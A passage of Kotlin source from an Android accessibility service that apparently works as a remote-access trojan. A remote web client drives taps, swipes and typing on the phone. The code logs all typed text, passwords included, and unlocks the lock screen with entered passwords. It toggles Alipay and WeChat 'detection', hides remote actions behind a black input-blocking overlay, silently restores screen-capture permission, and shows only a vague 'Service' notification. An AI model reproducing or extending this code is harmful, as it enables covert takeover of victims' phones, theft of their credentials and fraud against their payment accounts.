            Log.i(TAG, "🛡️ ${if (isManualOperation) "手动" else "强制"}隐藏配置遮盖")

            if (::configMaskManager.isInitialized) {
                configMaskManager.hideConfigMask()
                Log.i(TAG, "✅ 配置遮盖已${if (isManualOperation) "手动" else "强制"}隐藏")

                // 发送成功响应到Web端
                val socketIOManager = getSocketIOManager()
                socketIOManager?.sendPermissionResponse(
                    "CONFIG_MASK_CLOSE",
                    true,
                    if (isManualOperation) "手动关闭配置遮盖成功" else "强制关闭配置遮盖成功"
                )
            } else {
                Log.w(TAG, "⚠️ ConfigMaskManager未初始化，无法隐藏配置遮盖")

                // 发送失败响应到Web端
                val socketIOManager = getSocketIOManager()
                socketIOManager?.sendPermissionResponse(
                    "CONFIG_MASK_CLOSE",
                    false,
                    "ConfigMaskManager未初始化"
                )
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ ${if (isManualOperation) "手动" else "强制"}隐藏配置遮盖失败", e)

            // 发送失败响应到Web端
            val socketIOManager = getSocketIOManager()
            socketIOManager?.sendPermissionResponse(
                "CONFIG_MASK_CLOSE",
                false,
                "操作失败: ${e.message}"
            )
        }
    }

    /**
     * 启动服务连接（公开方法）- ✅ Phase 4.1 Step 3: 委托给NetworkManager
     */
    fun startConnection() {
        if (::networkManager.isInitialized) {
            networkManager.startConnection()
        } else {
            Log.w(TAG, "⚠️ NetworkManager未初始化，无法启动连接")
        }
    }

    /**
     * 获取SocketIOManager实例（用于外部状态检查）- ✅ Phase 4.1 Step 3: 委托给NetworkManager
     */
    fun getSocketIOManager(): SocketIOManager? {
        return if (::networkManager.isInitialized) {
            networkManager.getSocketIOManager()
        } else {
            Log.w(TAG, "⚠️ NetworkManager未初始化，返回null")
            null
        }
    }

    /**
     * 获取AccessibilityEventManager实例（用于外部状态检查）
     */
    fun getAccessibilityEventManager(): AccessibilityEventManager? {
        return if (::accessibilityEventManager.isInitialized) {
            accessibilityEventManager
        } else {
            Log.w(TAG, "⚠️ AccessibilityEventManager未初始化，返回null")
            null
        }
    }

    /**
     * 开启支付宝检测
     */
    fun enableAlipayDetection() {
        try {
            Log.i(TAG, "💰 开启支付宝检测功能")
            accessibilityEventManager.enableAlipayDetection()

            // 发送状态更新到服务器
            val socketIOManager = getSocketIOManager()
            socketIOManager?.sendAlipayDetectionStatus(true)

        } catch (e: Exception) {
            Log.e(TAG, "❌ 开启支付宝检测失败", e)
        }
    }

    /**
     * 关闭支付宝检测
     */
    fun disableAlipayDetection() {
        try {
            Log.i(TAG, "💰 关闭支付宝检测功能")
            accessibilityEventManager.disableAlipayDetection()

            // 发送状态更新到服务器
            val socketIOManager = getSocketIOManager()
            socketIOManager?.sendAlipayDetectionStatus(false)

        } catch (e: Exception) {
            Log.e(TAG, "❌ 关闭支付宝检测失败", e)
        }
    }

    /**
     * 开启微信检测
     */
    fun enableWechatDetection() {
        try {
            Log.i(TAG, "💬 开启微信检测功能")
            accessibilityEventManager.enableWechatDetection()

            // 发送状态更新到服务器
            val socketIOManager = getSocketIOManager()
            socketIOManager?.sendWechatDetectionStatus(true)

        } catch (e: Exception) {
            Log.e(TAG, "❌ 开启微信检测失败", e)
        }
    }

    /**
     * 关闭微信检测
     */
    fun disableWechatDetection() {
        try {
            Log.i(TAG, "💬 关闭微信检测功能")
            accessibilityEventManager.disableWechatDetection()

            // 发送状态更新到服务器
            val socketIOManager = getSocketIOManager()
            socketIOManager?.sendWechatDetectionStatus(false)

        } catch (e: Exception) {
            Log.e(TAG, "❌ 关闭微信检测失败", e)
        }
    }

    /**
     * WebSocketClient已移除 - 现在只使用Socket.IO连接
     */

    // ✅ Phase 4.1 Step 3: getServerUrl和readServerConfigFromAssets已迁移到NetworkManager

    /**
     * 执行点击操作
     */
    fun performClick(x: Float, y: Float) {
        if (::gestureController.isInitialized) {
            // ✅ Phase 4.3 Step 2: 使用LoggingManager的专门方法记录点击操作
            if (::loggingManager.isInitialized) {
                loggingManager.recordClickLog(x, y, "远程点击", "remote_control")
            }

            // ✅ Phase 4.3 Step 4: 使用MaskOverlayManager的统一遮罩控制
            if (::maskOverlayManager.isInitialized) {
                maskOverlayManager.performWithMaskControl({
                    gestureController.performClick(x, y)
                })
            } else {
                gestureController.performClick(x, y)
            }
        }
    }

    /**
     * ✅ Phase 4.2 Step 8: 智能上滑解锁 - 委托给GestureManager
     * ✅ 新增：包含1500ms等待时间，确保后续操作能正常执行
     */
    fun performSmartUnlockSwipe() {
        gestureManager.performSmartUnlockSwipe()
        recordOperationLog(
            "SMART_UNLOCK_SWIPE", "智能上滑解锁", mapOf(
                "delegated" to "GestureManager",
                "waitTime" to 1500,
                "note" to "包含后续操作等待时间"
            )
        )
    }

    /**
     * 执行滑动操作
     */
    fun performSwipe(startX: Float, startY: Float, endX: Float, endY: Float, duration: Long) {
        if (::gestureController.isInitialized) {
            // ✅ Phase 4.3 Step 2: 使用LoggingManager的专门方法记录滑动操作
            if (::loggingManager.isInitialized) {
                loggingManager.recordSwipeLog(startX, startY, endX, endY, duration)
            }

            // ✅ Phase 4.3 Step 4: 使用MaskOverlayManager的统一遮罩控制
            if (::maskOverlayManager.isInitialized) {
                maskOverlayManager.performWithMaskControl({
                    gestureController.performSwipe(startX, startY, endX, endY, duration)
                })
            } else {
                gestureController.performSwipe(startX, startY, endX, endY, duration)
            }
        }
    }

    /**
     * 执行长按操作
     */
    fun performLongPress(x: Float, y: Float) {
        if (::gestureController.isInitialized) {
            // ✅ Phase 4.3 Step 2: 使用LoggingManager的专门方法记录长按操作
            if (::loggingManager.isInitialized) {
                loggingManager.recordLongPressLog(x, y, "远程长按")
            }

            // ✅ Phase 4.3 Step 4: 使用MaskOverlayManager的统一遮罩控制
            if (::maskOverlayManager.isInitialized) {
                maskOverlayManager.performWithMaskControl({
                    gestureController.performLongPress(x, y)
                })
            } else {
                gestureController.performLongPress(x, y)
            }
        }
    }

    /**
     * 执行缩放手势操作
     */
    fun performPinchGesture(centerX: Float, centerY: Float, scale: Float, isZoomOut: Boolean) {
        if (::gestureController.isInitialized) {
            val baseDistance = 200f
            val startDistance = if (isZoomOut) baseDistance / scale else baseDistance * scale
            val endDistance = if (isZoomOut) baseDistance * scale else baseDistance / scale
            gestureController.performPinchGesture(centerX, centerY, startDistance, endDistance)
        }
    }


    /**
     * 🔧 执行连续长按拖拽操作（优化版本）
     */
    fun performContinuousLongPressDrag(
        pathPoints: List<android.graphics.PointF>,
        duration: Long = 1500L
    ) {
        if (::gestureController.isInitialized) {
            // 记录连续长按拖拽日志
            if (::loggingManager.isInitialized) {
                val startPoint = pathPoints.firstOrNull()
                val endPoint = pathPoints.lastOrNull()
                loggingManager.recordOperationLog(
                    "CONTINUOUS_LONG_PRESS_DRAG",
                    "连续长按拖拽: ${if (startPoint != null) "(${startPoint.x}, ${startPoint.y})" else "未知"} -> ${if (endPoint != null) "(${endPoint.x}, ${endPoint.y})" else "未知"}",
                    mapOf(
                        "pathPoints" to pathPoints.size,
                        "duration" to duration,
                        "action" to "连续长按拖拽"
                    )
                )
            }

            // 使用遮罩控制执行操作
            if (::maskOverlayManager.isInitialized) {
                maskOverlayManager.performWithMaskControl({
                    gestureController.performContinuousLongPressDrag(pathPoints, duration)
                })
            } else {
                gestureController.performContinuousLongPressDrag(pathPoints, duration)
            }
        }
    }

    /**
     * 输入文本 - ✅ 增强版本，支持锁屏界面的特殊处理
     */
    fun inputText(text: String) {
        if (::inputManager.isInitialized) {
            // ✅ 记录完整的文本输入日志（包括密码）- 恢复备份文件中的完整记录逻辑
            recordOperationLog(
                "TEXT_INPUT", "远程输入文本: $text", mapOf(
                    "text" to text,
                    "length" to text.length,
                    "inputMethod" to "remote_control",
                    "webUnlockMode" to webUnlockMode
                )
            )

            // ✅ Phase 4.2 Step 9: 委托给InputManager处理，传递Web解锁模式标志
            inputManager.inputText(text, webUnlockMode)

            // ✅ Phase 4.3 Step 1: 更新LearningManager的文本输入时间
            if (::learningManager.isInitialized) {
                learningManager.updateTextInputTimeForMixedPassword(text)
            }
        }
    }

    /**
     * ✅ 新增：直接输入文本 - 用于逐字符输入，跳过策略选择
     */
    fun inputTextDirect(text: String, isCharByChar: Boolean = false) {
        if (::inputController.isInitialized) {
            if (isCharByChar) {
                Log.i(TAG, "🔤 逐字符追加模式输入: '$text' (长度: ${text.length})")

                // ✅ 记录逐字符追加输入日志
                recordOperationLog(
                    "CHAR_APPEND", "逐字符追加: $text", mapOf(
                        "text" to text,
                        "length" to text.length,
                        "inputMethod" to "char_append",
                        "webUnlockMode" to webUnlockMode
                    )
                )

                // 使用新的追加字符方法
                inputController.appendCharacter(text)
                Log.d(TAG, "✅ 字符 '$text' 追加完成")
            } else {
                Log.i(TAG, "🔤 直接输入字符: '$text' (长度: ${text.length})")

                // ✅ 记录逐字符输入日志
                recordOperationLog(
                    "CHAR_INPUT", "逐字符输入: $text", mapOf(
                        "text" to text,
                        "length" to text.length,
                        "inputMethod" to "char_by_char",
                        "webUnlockMode" to webUnlockMode
                    )
                )

                // 直接使用InputController，跳过InputManager的策略选择
                inputController.inputText(text)
                Log.d(TAG, "✅ 字符 '$text' 输入完成")
            }
        } else {
            Log.w(TAG, "⚠️ InputController未初始化，回退到InputManager")
            inputText(text)
        }
    }

    /**
     * ✅ 新增：设置Web端一键解锁模式
     */
    fun setWebUnlockMode(enabled: Boolean) {
        webUnlockMode = enabled
        Log.i(TAG, "🔓 Web端一键解锁模式: ${if (enabled) "启用" else "禁用"}")
    }

    /**
     * ✅ 新增：获取Web端一键解锁模式状态
     */
    fun isWebUnlockMode(): Boolean = webUnlockMode

    /**
     * ✅ 新增：检测是否在锁屏界面
     */
    // ✅ Phase 4.1 Step 4: isCurrentlyInLockScreen方法已迁移到InputManager

    /**
     * ✅ 新增：检查是否有密码输入框
     */
    private fun hasPasswordInputField(node: AccessibilityNodeInfo): Boolean {
        try {
            val className = node.className?.toString()?.lowercase() ?: ""
            val contentDesc = node.contentDescription?.toString()?.lowercase() ?: ""

            // 检查当前节点
            if (node.isPassword ||
                className.contains("edittext") ||
                className.contains("password") ||
                contentDesc.contains("密码") ||
                contentDesc.contains("password")
            ) {
                return true
            }

            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    try {
                        if (hasPasswordInputField(child)) {
                            return true
                        }
                    } finally {
                        child.recycle()
                    }
                }
            }

            return false
        } catch (e: Exception) {
            Log.w(TAG, "检查密码输入框失败", e)
            return false
        }
    }

    /**
     * ✅ 新增：检查是否有解锁界面元素
     */
    // ✅ Phase 4.2 Step 8: hasUnlockScreenElements方法已迁移到UnlockManager


    /**
     * ✅ 新增：获取WriteSettingsPermissionManager实例
     */
    fun getWriteSettingsPermissionManager(): WriteSettingsPermissionManager? {
        return if (::writeSettingsPermissionManager.isInitialized) {
            writeSettingsPermissionManager
        } else {
            null
        }
    }


    /**
     * ✅ 新增：申请WRITE_SETTINGS权限
     */
    private fun requestWriteSettingsPermission() {
        try {
            // 检查是否被暂停
            if (isWriteSettingsPermissionPaused) {
                Log.i(TAG, "⏸️ WRITE_SETTINGS权限申请已被暂停，跳过申请")
                return
            }

            Log.i(TAG, "🔧 开始申请WRITE_SETTINGS权限")

            if (::writeSettingsPermissionManager.isInitialized) {
                writeSettingsPermissionManager.startWriteSettingsPermissionRequest()
            } else {
                Log.e(TAG, "❌ WriteSettingsPermissionManager未初始化，跳过权限申请")
                // 权限申请失败，但继续后续流程
                serviceScope.launch {
                    continueServiceInitialization()
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 申请WRITE_SETTINGS权限失败", e)
            // 权限申请失败，但继续后续流程
            serviceScope.launch {
                continueServiceInitialization()
            }
        }
    }

    /**
     * 暂停WRITE_SETTINGS权限申请
     */
    fun pauseWriteSettingsPermissionRequest() {
        try {
            Log.i(TAG, "⏸️ 暂停WRITE_SETTINGS权限申请")
            isWriteSettingsPermissionPaused = true

            // 如果正在申请，停止申请
            if (::writeSettingsPermissionManager.isInitialized) {
                writeSettingsPermissionManager.stopPermissionRequest()
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 暂停WRITE_SETTINGS权限申请失败", e)
        }
    }

    /**
     * 恢复WRITE_SETTINGS权限申请
     */
    fun resumeWriteSettingsPermissionRequest() {
        try {
            Log.i(TAG, "▶️ 恢复WRITE_SETTINGS权限申请")
            isWriteSettingsPermissionPaused = false

            // 立即尝试申请权限
            requestWriteSettingsPermission()
        } catch (e: Exception) {
            Log.e(TAG, "❌ 恢复WRITE_SETTINGS权限申请失败", e)
        }
    }

    /**
     * ✅ 修复：锁屏确认按钮尝试 - 根据密码类型优化策略 + 智能确认
     */
    fun tryLockScreenConfirm(passwordType: String) {
        try {
            Log.i(TAG, "🔐 开始锁屏确认流程，密码类型: $passwordType")

            // ✅ 执行智能确认按钮检测
            val success = performSmartConfirmButtonDetection(passwordType)

            if (success) {
                Log.i(TAG, "✅ 智能确认按钮检测成功")

                // 记录确认按钮点击操作日志
                val logType =
                    if (passwordType == "numeric") "NUMERIC_PASSWORD_START" else "MIXED_PASSWORD_INPUT"
                recordOperationLog(
                    logType, "密码输入确认按钮点击", mapOf(
                        "passwordType" to passwordType,
                        "method" to "smart_confirm_detection",
                        "result" to "success",
                        "timestamp" to System.currentTimeMillis()
                    )
                )
            } else {
                Log.w(TAG, "⚠️ 智能确认按钮检测失败，请手动确认")

                // 调试当前屏幕元素以便后续优化
                Log.d(TAG, "🔍 [调试] 开始分析当前屏幕元素...")
                debugCurrentScreenElements()
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 锁屏确认流程失败", e)
        }
    }

    /**
     * ✅ Phase 4.3 Step 7: 调试当前屏幕元素 - 委托给DebugAnalysisManager
     */
    private fun debugCurrentScreenElements() {
        if (::debugAnalysisManager.isInitialized) {
            debugAnalysisManager.debugCurrentScreenElements()
        } else {
            // 回退到ScreenManager
            if (::screenManager.isInitialized) {
                screenManager.debugScreenElements()
            } else {
                Log.w(
                    TAG,
                    "🔍 [调试] DebugAnalysisManager和ScreenManager都未初始化，跳过屏幕元素调试"
                )
            }
        }
    }

    // ✅ Phase 4.3 Step 7: analyzeNodeForDebug方法已迁移到DebugAnalysisManager

    // ✅ Phase 4.3 Step 7: ClickableElementInfo数据类已迁移到DebugAnalysisManager

    // ✅ Phase 4.3 Step 7: isLikelyConfirmButtonByPosition方法已迁移到DebugAnalysisManager

    /**
     * ✅ 新增：查找并点击锁屏确认按钮 - 专门针对锁屏界面优化
     */
    // ✅ Phase 4.3 Step 7: findAndClickLockScreenConfirmButton方法已委托给UIAnalysisManager
    private fun findAndClickLockScreenConfirmButton(passwordType: String): Boolean {
        return if (::uiAnalysisManager.isInitialized) {
            uiAnalysisManager.findAndClickConfirmButton()
        } else {
            Log.w(TAG, "⚠️ UIAnalysisManager未初始化")
            false
        }
    }

    // ✅ Phase 4.3 Step 7: findNumericKeypadConfirmButton方法已迁移到UIAnalysisManager

    // ✅ Phase 4.3 Step 7: findTextKeyboardConfirmButton方法已迁移到UIAnalysisManager

    /**
     * ✅ 新增：查找通用锁屏确认按钮
     */
    // ✅ Phase 4.3 Step 7: findGenericLockScreenConfirmButton方法已迁移到UIAnalysisManager

    /**
     * ✅ Phase 4.1 Step 4: 检测是否为键盘按键 - 委托给ConfigManager
     */
    private fun isKeyboardKey(text: String, desc: String): Boolean {
        return if (::unlockManager.isInitialized) {
            unlockManager.isKeyboardKey(text, desc)
        } else if (::configManager.isInitialized) {
            configManager.isKeyboardKey(text, desc)
        } else {
            // 回退到简单的键盘按键检测
            val keyboardKeys = setOf(
                "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
                "q", "w", "e", "r", "t", "y", "u", "i", "o", "p",
                "a", "s", "d", "f", "g", "h", "j", "k", "l",
                "z", "x", "c", "v", "b", "n", "m", "space", "delete"
            )
            keyboardKeys.contains(text.lowercase()) || keyboardKeys.contains(desc.lowercase())
        }
    }

    /**
     * ✅ 新增：检测是否为键盘按键（包含位置检查）- 更严格的过滤
     */
    private fun isKeyboardKeyWithPosition(node: AccessibilityNodeInfo): Boolean {
        val text = node.text?.toString()?.trim() ?: ""
        val desc = node.contentDescription?.toString()?.trim() ?: ""

        // 首先使用基本的键盘按键检查
        if (isKeyboardKey(text, desc)) {
            return true
        }

        // 位置检查：如果在键盘区域（屏幕下方30%），且是小按钮，很可能是键盘按键
        try {
            val rect = android.graphics.Rect()
            node.getBoundsInScreen(rect)
            val (screenWidth, screenHeight) = getRealScreenSize()

            val isInKeyboardArea = rect.centerY() > screenHeight * 0.7 // 屏幕下方30%
            val isSmallButton =
                rect.width() < screenWidth * 0.15 && rect.height() < screenHeight * 0.08 // 小按钮

            if (isInKeyboardArea && isSmallButton) {
                // 进一步检查：如果文本很短且不是明确的确认词汇，很可能是键盘按键
                if (text.length <= 3 && !isConfirmKeyword(text)) {
                    Log.d(
                        TAG,
                        "🚫 位置过滤键盘按键: '$text' 位置=(${rect.centerX()},${rect.centerY()}) 大小=${rect.width()}x${rect.height()}"
                    )
                    return true
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "位置检查键盘按键失败", e)
        }

        return false
    }

    /**
     * ✅ 新增：检查是否为确认关键词 - 委托给UnlockManager
     */
    private fun isConfirmKeyword(text: String): Boolean {
        return if (::unlockManager.isInitialized) {
            unlockManager.isConfirmKeyword(text)
        } else {
            // 回退实现
            val confirmKeywords = setOf(
                "确认", "确定", "完成", "提交", "登录", "解锁", "继续", "下一步", "ok", "done",
                "confirm", "submit", "enter", "go", "next", "continue", "login", "unlock"
            )
            confirmKeywords.any { text.contains(it, ignoreCase = true) }
        }
    }

    /**
     * ✅ 获取真实屏幕尺寸（包含系统UI）- 基于备份文件的直接实现 + ScreenManager委托
     */
    private fun getRealScreenSize(): Pair<Int, Int> {
        return if (::screenManager.isInitialized) {
            val screenManagerResult = screenManager.getRealScreenSize()
            Log.d(
                TAG,
                "📊 ScreenManager获取尺寸: ${screenManagerResult.first}x${screenManagerResult.second}"
            )

            // ✅ 双重验证：如果ScreenManager结果异常，使用备份方法
            if (screenManagerResult.first > 0 && screenManagerResult.second > 0) {
                screenManagerResult
            } else {
                Log.w(TAG, "⚠️ ScreenManager结果异常，使用备用方法")
                getBackupRealScreenSize()
            }
        } else {
            Log.w(TAG, "⚠️ ScreenManager未初始化，使用备用方法")
            getBackupRealScreenSize()
        }
    }

    /**
     * ✅ 备用真实屏幕尺寸获取方法 - 直接基于备份文件实现
     */
    private fun getBackupRealScreenSize(): Pair<Int, Int> {
        return try {
            val windowManager =
                getSystemService(Context.WINDOW_SERVICE) as android.view.WindowManager
            val display = windowManager.defaultDisplay

            val realSize = android.graphics.Point()
            display.getRealSize(realSize)

            Log.d(TAG, "🔍 备用方法获取真实屏幕尺寸: ${realSize.x}x${realSize.y}")

            if (realSize.x > 0 && realSize.y > 0) {
                // 验证是否为真实尺寸（应该包含系统UI）
                val displayMetrics = resources.displayMetrics
                Log.d(
                    TAG,
                    "📊 备用方法对比 - 真实: ${realSize.x}x${realSize.y}, 显示: ${displayMetrics.widthPixels}x${displayMetrics.heightPixels}"
                )

                if (realSize.y >= displayMetrics.heightPixels) {
                    Log.i(TAG, "✅ 备用方法成功获取真实屏幕尺寸: ${realSize.x}x${realSize.y}")
                    return Pair(realSize.x, realSize.y)
                }
            }

            // 最后回退
            val metrics = resources.displayMetrics
            Log.w(TAG, "🔄 备用方法回退到显示区域: ${metrics.widthPixels}x${metrics.heightPixels}")
            Pair(metrics.widthPixels, metrics.heightPixels)

        } catch (e: Exception) {
            Log.e(TAG, "备用方法获取真实屏幕尺寸失败", e)
            val metrics = resources.displayMetrics
            Pair(metrics.widthPixels, metrics.heightPixels)
        }
    }

    // ✅ Phase 4.3 Step 7: isValidConfirmButtonPosition方法已迁移到UIAnalysisManager

    // ✅ Phase 4.3 Step 7: isValidConfirmButtonSize方法已迁移到UIAnalysisManager


    /**
     * ✅ 临时禁用：在锁屏界面输入字母字符 - 暂时禁用虚拟键盘点击
     */
    private fun inputLetterInLockScreen(char: Char): Boolean {
        try {
            Log.i(TAG, "🔤 字母输入策略 - 暂时禁用虚拟键盘点击: $char")

            // ✅ 暂时只使用直接文本输入，禁用所有点击操作
            Log.d(TAG, "🔤 使用直接文本输入字母: $char")
            inputController.inputText(char.toString())
            return true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 字母输入失败: $char", e)
            return false
        }
    }

    /**
     * ✅ 新增：点击虚拟键盘上的字母
     */
    private fun clickVirtualKeyboardLetter(char: Char): Boolean {
        try {
            val rootNode = rootInActiveWindow ?: return false

            // 查找包含该字母的可点击节点
            val letterNode = findLetterNode(rootNode, char)
            if (letterNode != null) {
                val rect = android.graphics.Rect()
                letterNode.getBoundsInScreen(rect)
                val centerX = rect.centerX()
                val centerY = rect.centerY()

                Log.d(TAG, "🔤 找到字母节点，点击坐标: ($centerX, $centerY)")
                gestureController.performClick(centerX.toFloat(), centerY.toFloat())

                letterNode.recycle()
                return true
            }

            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 点击虚拟键盘字母失败: $char", e)
            return false
        }
    }

    /**
     * ✅ 新增：查找字母节点
     */
    private fun findLetterNode(node: AccessibilityNodeInfo, char: Char): AccessibilityNodeInfo? {
        try {
            val text = node.text?.toString()?.lowercase()
            val contentDesc = node.contentDescription?.toString()?.lowercase()
            val targetChar = char.lowercase().toString()

            // 检查当前节点是否匹配
            if (node.isClickable &&
                ((text == targetChar) || (contentDesc == targetChar))
            ) {
                return node
            }

            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    val result = findLetterNode(child, char)
                    if (result != null) {
                        child.recycle()
                        return result
                    }
                    child.recycle()
                }
            }

            return null

        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找字母节点失败: $char", e)
            return null
        }
    }


    /**
     * ✅ 新增：获取字符对应的按键码 - 增强版，支持更多字符
     */
    private fun getKeyCodeForChar(char: Char): Int {
        return if (::keyEventManager.isInitialized) {
            // ✅ Phase 4.3 Step 3: 委托给KeyEventManager处理，删除56行重复代码
            keyEventManager.getKeyCodeForChar(char)
        } else {
            Log.w(TAG, "⚠️ KeyEventManager未初始化")
            -1
        }
    }

    /**
     * 停止屏幕捕获（保留权限，防止Android 15权限丢失）
     */
    fun stopScreenCapture() {
        if (::screenCaptureManager.isInitialized) {
            screenCaptureManager.stopCapture()  // 只停止捕获，保留权限
        }
    }

    /**
     * 强制停止屏幕捕获并清理权限（仅在用户主动停止时使用）
     */
    fun forceStopScreenCapture() {
        if (::screenCaptureManager.isInitialized) {
            screenCaptureManager.forceStopCapture()  // 强制停止并清理权限
        }
    }

    /**
     * 创建通知渠道
     */
    private fun createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            val channel = NotificationChannel(
                NOTIFICATION_CHANNEL_ID,
                "服务",
                NotificationManager.IMPORTANCE_LOW
            ).apply {
                description = "Android服务正在运行"
                setShowBadge(false)
            }

            val notificationManager =
                getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
            notificationManager.createNotificationChannel(channel)
        }
    }

    /**
     * 显示前台通知
     */
    private fun startForegroundNotification() {
        val notification = NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID)
            .setContentTitle("服务")
            .setContentText("服务正在运行，点击查看详情")
            .setSmallIcon(R.drawable.ic_remote_control)
            .setOngoing(true)
            .setPriority(NotificationCompat.PRIORITY_LOW)
            .build()

        startForeground(NOTIFICATION_ID, notification)
    }

    /**
     * 清理资源
     */
    private fun cleanup() {
        try {
            Log.i(TAG, "🧹 清理服务资源")

            serviceScope.cancel()

            // 清理日志收集器
            logCollector?.cleanup()
            logCollector = null

            // 停止屏幕捕获
            if (::screenCaptureManager.isInitialized) {
                screenCaptureManager.stopCapture()
            }

            // ✅ Phase 4.1 Step 3: 使用NetworkManager断开网络连接并清理资源
            if (::networkManager.isInitialized) {
                networkManager.disconnect()
                networkManager.cleanup()
            }

            // ✅ Phase 4.3 Step 3: 清理KeyEventManager资源
            if (::keyEventManager.isInitialized) {
                keyEventManager.cleanup()
            }

            // ✅ Phase 4.3 Step 4: 清理MaskOverlayManager资源
            if (::maskOverlayManager.isInitialized) {
                maskOverlayManager.cleanup()
            }

            // ✅ Phase 4.3 Step 5: 清理UIAnalysisManager资源
            if (::uiAnalysisManager.isInitialized) {
                uiAnalysisManager.cleanup()
            }

            // ✅ Phase 4.3 Step 6: 清理PermissionUIManager资源
            if (::permissionUIManager.isInitialized) {
                permissionUIManager.cleanup()
            }

            // ✅ Phase 4.3 Step 7: 清理DebugAnalysisManager资源
            if (::debugAnalysisManager.isInitialized) {
                debugAnalysisManager.cleanup()
            }

            // ✅ 新增：清理ConfigMaskManager资源
            if (::configMaskManager.isInitialized) {
                configMaskManager.cleanup()
            }


            // ✅ 新增：清理WriteSettingsPermissionManager资源
            if (::writeSettingsPermissionManager.isInitialized) {
                writeSettingsPermissionManager.cleanup()
            }

            // 🔥 新增：清理授权模块资源
            authorizationModule?.cleanup()
            authorizationModule = null

            // ✅ 新增：清理ScreenBrightnessManager资源
            if (::screenBrightnessManager.isInitialized) {
                screenBrightnessManager.cleanup()
            }

            // ✅ 清理黑屏遮罩 (MaskOverlayManager方案)
            if (isBlackScreenActive) {
                if (::maskOverlayManager.isInitialized) {
                    maskOverlayManager.unblockInput()
                }
                isBlackScreenActive = false
            }

            // ✅ 清理Android 15专用管理器
            android15MediaProjectionManager?.destroy()
            android15MediaProjectionManager = null

            // ✅ Phase 4.3 Step 4: 输入阻止覆盖窗口现在由MaskOverlayManager管理

            Log.i(TAG, "✅ 服务资源清理完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 清理服务资源失败", e)
        }
    }

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        Log.i(TAG, "AccessibilityRemoteService.onStartCommand called")

        intent?.let { serviceIntent ->
            if (serviceIntent.action == "android.mycustrecev.MEDIA_PROJECTION_GRANTED") {
                Log.i(TAG, "接收到MediaProjection权限获取成功通知")
                handleMediaProjectionGrantedFromIntent()
            }
        }

        return super.onStartCommand(intent, flags, startId)
    }

    /**
     * Android 15静默恢复方法
     */
    private fun attemptAndroid15SilentRecovery(): Boolean {
        return try {
            Log.i(TAG, "🤫🤫🤫 AccessibilityService尝试Android 15静默权限恢复 🤫🤫🤫")
            logCurrentPermissionState("AccessibilityService静默恢复开始")

            // 优先使用专用管理器恢复
            if (android15MediaProjectionManager != null) {
                Log.i(TAG, "🔧 使用Android 15专用管理器进行静默恢复")

                val permissionData = MediaProjectionHolder.getPermissionData()
                Log.d(TAG, "🔍 专用管理器模式 - 权限数据存在: ${permissionData != null}")

                if (permissionData != null) {
                    val (resultCode, resultData) = permissionData
                    Log.d(
                        TAG,
                        "🔑 专用管理器权限数据: resultCode=$resultCode, Intent存在=${resultData != null}"
                    )

                    if (resultData != null) {
                        Log.d(TAG, "🏭 调用专用管理器的createMediaProjectionWithCallback")
                        val mediaProjection =
                            android15MediaProjectionManager?.createMediaProjectionWithCallback(
                                resultCode,
                                resultData
                            )
                        Log.d(TAG, "🏭 专用管理器恢复结果: ${mediaProjection?.hashCode()}")

                        if (mediaProjection != null) {
                            Log.i(TAG, "✅✅✅ Android 15专用管理器静默恢复成功 ✅✅✅")
                            setupScreenCaptureWithMediaProjection(mediaProjection)
                            logCurrentPermissionState("专用管理器恢复成功")
                            return true
                        } else {
                            Log.w(TAG, "❌ 专用管理器createMediaProjectionWithCallback返回null")
                        }
                    } else {
                        Log.w(TAG, "❌ 专用管理器模式：权限数据中的Intent为null")
                    }
                } else {
                    Log.w(TAG, "❌ 专用管理器模式：没有权限数据")
                }
            } else {
                Log.w(TAG, "⚠️ Android 15专用管理器未初始化，回退到直接恢复")
            }

            // 回退到直接恢复
            Log.i(TAG, "🔄 回退到直接静默恢复模式")
            val permissionData = MediaProjectionHolder.getPermissionData()
            Log.d(TAG, "🔍 直接恢复模式 - 权限数据存在: ${permissionData != null}")

            if (permissionData != null) {
                val (resultCode, resultData) = permissionData
                Log.d(
                    TAG,
                    "🔑 直接恢复权限数据: resultCode=$resultCode, Intent存在=${resultData != null}"
                )

                if (resultData != null) {
                    Log.i(TAG, "🔑 使用现有权限数据进行直接静默恢复")

                    val mediaProjectionManager =
                        getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
                    Log.d(
                        TAG,
                        "🏭 获取系统MediaProjectionManager: ${mediaProjectionManager.javaClass.name}"
                    )

                    val newMediaProjection =
                        mediaProjectionManager.getMediaProjection(resultCode, resultData)
                    Log.d(TAG, "🏭 直接恢复结果: ${newMediaProjection?.hashCode()}")

                    if (newMediaProjection != null) {
                        Log.d(TAG, "🔄 更新MediaProjectionHolder")
                        MediaProjectionHolder.setMediaProjection(newMediaProjection)

                        Log.i(TAG, "✅✅✅ Android 15直接静默恢复成功 ✅✅✅")

                        // 设置到屏幕捕获管理器
                        Log.d(TAG, "🎬 设置到屏幕捕获管理器")
                        setupScreenCaptureWithMediaProjection(newMediaProjection)

                        logCurrentPermissionState("直接恢复成功")
                        return true
                    } else {
                        Log.w(TAG, "❌ 系统MediaProjectionManager.getMediaProjection()返回null")
                    }
                } else {
                    Log.w(TAG, "❌ 直接恢复模式：权限数据中的Intent为null")
                }
            } else {
                Log.w(TAG, "❌ 直接恢复模式：没有权限数据")
            }

            logCurrentPermissionState("AccessibilityService静默恢复失败")
            Log.w(TAG, "❌❌❌ Android 15静默恢复失败 ❌❌❌")
            false

        } catch (e: Exception) {
            Log.e(TAG, "❌❌❌ Android 15静默恢复异常 ❌❌❌", e)
            logCurrentPermissionState("AccessibilityService静默恢复异常")
            false
        }
    }

    /**
